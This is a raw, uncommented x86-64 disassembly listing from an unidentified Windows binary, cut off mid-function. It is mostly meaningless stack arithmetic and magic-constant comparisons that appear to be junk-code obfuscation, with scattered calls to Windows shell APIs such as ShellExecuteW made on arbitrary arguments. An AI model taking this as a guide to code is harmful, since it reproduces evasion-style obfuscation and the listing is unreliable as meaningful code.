mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4e98]
mov qword [rsp + 0x4fa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fa8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4d98]
mov rdx, qword [rsp + 0x4e70]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jg 0x14005d993
lea rax, [rsp + 0x2a44]
mov qword [rsp + 0x4fb0], rax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4de0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ee8]
mov rdx, qword [rsp + 0x4f90]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005d92e
lea r8, [rsp + 0x15240]
lea rdx, [rsp + 0x151c0]
mov ecx, 0x43
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x2a20], eax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x131]
and eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [rsp + 0xb28]
add eax, ecx
mov word [0x1401c2a30], ax
jmp 0x14005d98e
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x138]
add ecx, edx
cmp eax, ecx
jle 0x14005d98e
mov r9d, dword [rsp + 0x28ac]
mov rax, qword [rsp + 0x4f70]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4eb0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4d90]
movzx ecx, byte [rax]
call fcn.14014bb40
nop
jmp 0x14005da79
lea r8, [rsp + 0x5f]
mov rdx, qword [rsp + 0x4dd0]
mov rcx, qword [rsp + 0x4fb8]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0x4fc0], rax
movsx eax, byte [rsp + 0x131]
movsx ecx, byte [rsp + 0x138]
sub eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4ee8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4f90]
mov rdx, qword [rsp + 0x4de0]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jbe 0x14005da5f
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
sar eax, cl
mov byte [rsp + 0x5f], al
lea rdx, [rsp + 0x2968]
mov rcx, qword [rsp + 0x4fc8]
call qword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [rsp + 0x2a20], eax
mov r9d, dword [rsp + 0x28ac]
mov r8d, dword [rsp + 0x2980]
movzx edx, word [rsp + 0xb18]
movzx ecx, byte [rsp + 0x138]
call fcn.14014bb40
nop
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb2c]
or eax, ecx
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4e38]
mov rcx, qword [rsp + 0x4f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov ecx, dword [rsp + 0x28ac]
mov edx, dword [rsp + 0x2988]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14005db74
mov eax, dword [rsp + 0x2974]
mov dword [rsp + 0x2adc], eax
cmp dword [rsp + 0x2adc], 0xac6dbf6d
je 0x14005db4d
cmp dword [rsp + 0x2adc], 0xb4b64dfe
je 0x14005dada
jmp 0x14005db74
mov edx, 0x3d
lea rcx, [rsp + 0x2ae0]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb1c]
add eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f88]
mov rcx, qword [rsp + 0x4e38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2974], eax
lea r9, [rsp + 0x4f48]
lea r8, [rsp + 0x15280]
mov edx, 0x5b
mov ecx, 0x76
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
nop
jmp 0x14005db74
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4d98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d78], rax
call fcn.14014a530
nop
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4e50]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14005dd1e
mov rax, qword [rsp + 0x4ef0]
mov eax, dword [rax]
mov dword [rsp + 0x2ae4], eax
cmp dword [rsp + 0x2ae4], 0
je 0x14005dbda
cmp dword [rsp + 0x2ae4], 0x47745f3c
je 0x14005dcff
jmp 0x14005dd1c
mov rax, qword [rsp + 0x4ef0]
mov rcx, qword [rsp + 0x4fb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a44], eax
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
or eax, ecx
movzx ecx, byte [rsp + 0x133]
mov dword [rsp + 0x2ae8], ecx
movzx edx, byte [rsp + 0x135]
movzx ecx, dl
mov edx, dword [rsp + 0x2ae8]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14005dcfd
movsx eax, word [rsp + 0xb28]
mov dword [rsp + 0x2aec], eax
cmp dword [rsp + 0x2aec], 0x31eb
je 0x14005dc5d
jmp 0x14005dcfd
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
xor eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov dword [rsp + 0x28], 0x79
mov rax, qword [rsp + 0x4fd0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x4f38]
mov r8, qword [rsp + 0x4e78]
mov rdx, qword [rsp + 0x4dd0]
mov rcx, qword [rsp + 0x4ed0]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0x4fd8], rax
movsx eax, byte [rsp + 0x98]
movsx ecx, byte [rsp + 0x131]
sar eax, cl
mov byte [0x1401c3b18], al
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
sub eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
call fcn.140149dc0
nop
jmp 0x14005dd1c
movzx eax, word [rsp + 0xb2c]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb24], ax
jmp 0x14005dd3e
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb28]
add eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov word [rcx], ax
cmp dword [rsp + 0x2a3c], 0xa24d
jae 0x14005ded2
mov eax, dword [rsp + 0x2a3c]
add eax, 0x87
mov dword [rsp + 0x2a3c], eax
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f88]
mov rcx, qword [rsp + 0x4e38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2abc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29d0], eax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4d88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [0x1401c2a30], ax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb30]
xor eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a0008]
or eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4f78]
shl rax, cl
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f90], rax
jmp 0x14005dd3e
mov rax, qword [rsp + 0x4e90]
mov ecx, dword [rsp + 0x29ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29d0], eax
movsx eax, word [rsp + 0xb20]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [rsp + 0xb34]
movsx edx, word [rsp + 0xb30]
add ecx, edx
cmp eax, ecx
jne 0x140148c18
cmp dword [rsp + 0x2ac4], 0x1986
jae 0x14005e36a
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x137]
sar eax, cl
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb24]
or eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
movsx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4ef0]
mov rcx, qword [rsp + 0x4e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4fb0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x131]
movsx ecx, byte [rsp + 0x137]
and eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2988]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x98]
add eax, ecx
mov byte [0x1401c3b18], al
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb1c]
add eax, ecx
mov word [rsp + 0xb30], ax
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [rsp + 0x136]
sub eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ac4]
add eax, 5
mov dword [rsp + 0x2ac4], eax
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
or eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov eax, dword [rsp + 0x29ec]
mov rcx, qword [rsp + 0x4ef0]
mov qword [rsp + 0x4fe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fe0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x29d0], eax
mov eax, dword [rsp + 0x2980]
mov rcx, qword [rsp + 0x4e38]
mov qword [rsp + 0x4fe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fe8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x4d88]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f90], rax
mov rax, qword [0x1401c3b10]
mov rcx, qword [rsp + 0x4d78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c2a30], ax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2974]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a48], eax
mov rax, qword [rsp + 0x4ef0]
mov ecx, dword [0x1401c2a34]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4f78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4de0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ee8], rax
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
xor eax, ecx
mov byte [0x1401a0008], al
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb30]
sar eax, cl
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x135], al
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4ef0]
mov rcx, qword [rsp + 0x4fb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
add eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
jmp 0x14005df1b
movsx eax, word [rsp + 0xb30]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c2a38], ax
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x4d88]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov rdx, qword [rsp + 0x4f90]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005e473
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
add eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
movsx eax, word [rsp + 0xb30]
mov dword [rsp + 0x2af0], eax
cmp dword [rsp + 0x2af0], 0x2e77
je 0x14005e406
cmp dword [rsp + 0x2af0], 0x4af0
je 0x14005e427
jmp 0x14005e473
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x134], al
jmp 0x14005e473
lea rdx, [rsp + 0x4e50]
lea rcx, [rsp + 0x4f00]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x2a1c], eax
mov r9d, dword [rsp + 0x2a48]
mov rax, qword [rsp + 0x4f88]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4db0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4d90]
movzx ecx, byte [rax]
call fcn.14014bb40
nop
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
mov dword [rsp + 0x2af4], ecx
mov rdx, qword [rsp + 0x4df0]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2af4]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14005e557
mov eax, dword [0x1401c2a34]
mov ecx, dword [rsp + 0x2a44]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x4fb0]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14005e557
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
and eax, ecx
mov byte [rsp + 0x133], al
mov edx, 0xf2
mov rcx, qword [rsp + 0x4fc8]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb30]
sub eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov word [rcx], ax
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x98]
add eax, ecx
mov byte [rsp + 0x131], al
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2a48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f70]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2974]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14005e598
mov rax, qword [rsp + 0x4e88]
movzx ecx, word [rax]
call fcn.14014a980
nop
jmp 0x140148bef
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4f78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov rcx, qword [rcx]
mov rdx, qword [0x1401c3b10]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x140148bef
movzx eax, byte [rsp + 0x135]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
movzx ecx, byte [rsp + 0x136]
mov dword [rsp + 0x2afc], ecx
mov rdx, qword [rsp + 0x4da0]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2afc]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14005e63c
mov r9, qword [rsp + 0x4f40]
mov r8, qword [rsp + 0x4ff0]
mov rdx, qword [rsp + 0x4dd0]
mov rcx, qword [rsp + 0x4e48]
call qword [sym.imp.SHELL32.dll_ShellAboutW]
mov dword [rsp + 0x29f8], eax
jmp 0x140148bcb
lea rax, [rsp + 0x2974]
mov qword [rsp + 0x4ff8], rax
lea rax, [rsp + 0x5f]
mov qword [0x1401c3b20], rax
lea rax, [rsp + 0x4d70]
mov qword [rsp + 0x5000], rax
mov rax, qword [rsp + 0x4f78]
mov qword [rsp + 0x5008], rax
cmp qword [rsp + 0x5008], 0
je 0x14005e688
jmp 0x14005e753
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
lea rax, [rsp + 0x135]
mov qword [rsp + 0x5010], rax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
lea rax, [rsp + 0xb18]
mov qword [rsp + 0x5018], rax
mov rax, qword [rsp + 0x4e38]
mov rcx, qword [rsp + 0x4ff8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b58], rax
jmp 0x14005e80c
mov rax, qword [rsp + 0x5000]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4de0], rax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ef8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401c3b20]
mov byte [rcx], al
mov rax, qword [rsp + 0x5010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
sub eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x98]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
lea rdx, [rsp + 0x16800]
mov ecx, 0x7a
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x2b00], eax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x131], al
call fcn.140149dc0
nop
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [rsp + 0xb34]
or eax, ecx
movsx ecx, word [0x1401c2a38]
mov dword [rsp + 0x2b04], ecx
movsx edx, word [rsp + 0xb30]
movzx ecx, dl
mov edx, dword [rsp + 0x2b04]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14005ea4d
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
xor eax, ecx
movzx ecx, byte [0x1401a0008]
mov dword [rsp + 0x2b08], ecx
movzx edx, byte [rsp + 0x136]
movzx ecx, dl
mov edx, dword [rsp + 0x2b08]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14005e996
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb24]
and eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
movsx eax, word [rsp + 0xb30]
movsx ecx, word [rsp + 0xb34]
add eax, ecx
mov word [rsp + 0xb1c], ax
mov r8w, 0x74
mov rdx, qword [rsp + 0x5020]
mov rcx, qword [rsp + 0x4ff0]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4ee8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2988], eax
lea rcx, [rsp + 0x15430]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0x5028], rax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4b58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4f78], rax
mov r8w, 0xe3
mov rdx, qword [rsp + 0x4f38]
mov rcx, qword [rsp + 0x5020]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a0008]
sub eax, ecx
mov rcx, qword [0x1401c3b20]
mov byte [rcx], al
jmp 0x14005ea4d
lea rax, [rsp + 0x133]
mov qword [rsp + 0x5030], rax
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
lea rax, [rsp + 0x135]
mov qword [rsp + 0x5038], rax
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb30], ax
mov dword [rsp + 0x2b0c], 0xcf23
mov rax, qword [rsp + 0x4ee8]
mov qword [rsp + 0x5040], rax
mov rax, qword [rsp + 0x4fb0]
mov ecx, dword [rsp + 0x2abc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f00]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
mov dword [rsp + 0x2b10], ecx
movsx edx, word [0x1401c2a38]
movzx ecx, dl
mov edx, dword [rsp + 0x2b10]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140148b18
movzx eax, word [rsp + 0xb24]
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0x5010]
movzx eax, byte [rax]
mov rcx, qword [0x1401c3b20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x133], al
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb1c]
and eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov word [rcx], ax
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb2c], ax
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4b58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f78], rax
mov rax, qword [rsp + 0x5000]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ee8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
mov rax, qword [rsp + 0x5038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401c3b20]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x28ac]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb20]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [rsp + 0x135]
shl eax, cl
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x133]
and eax, ecx
mov byte [rsp + 0x5f], al
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb18]
sub eax, ecx
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x4de0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4ee8], rax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4e70]
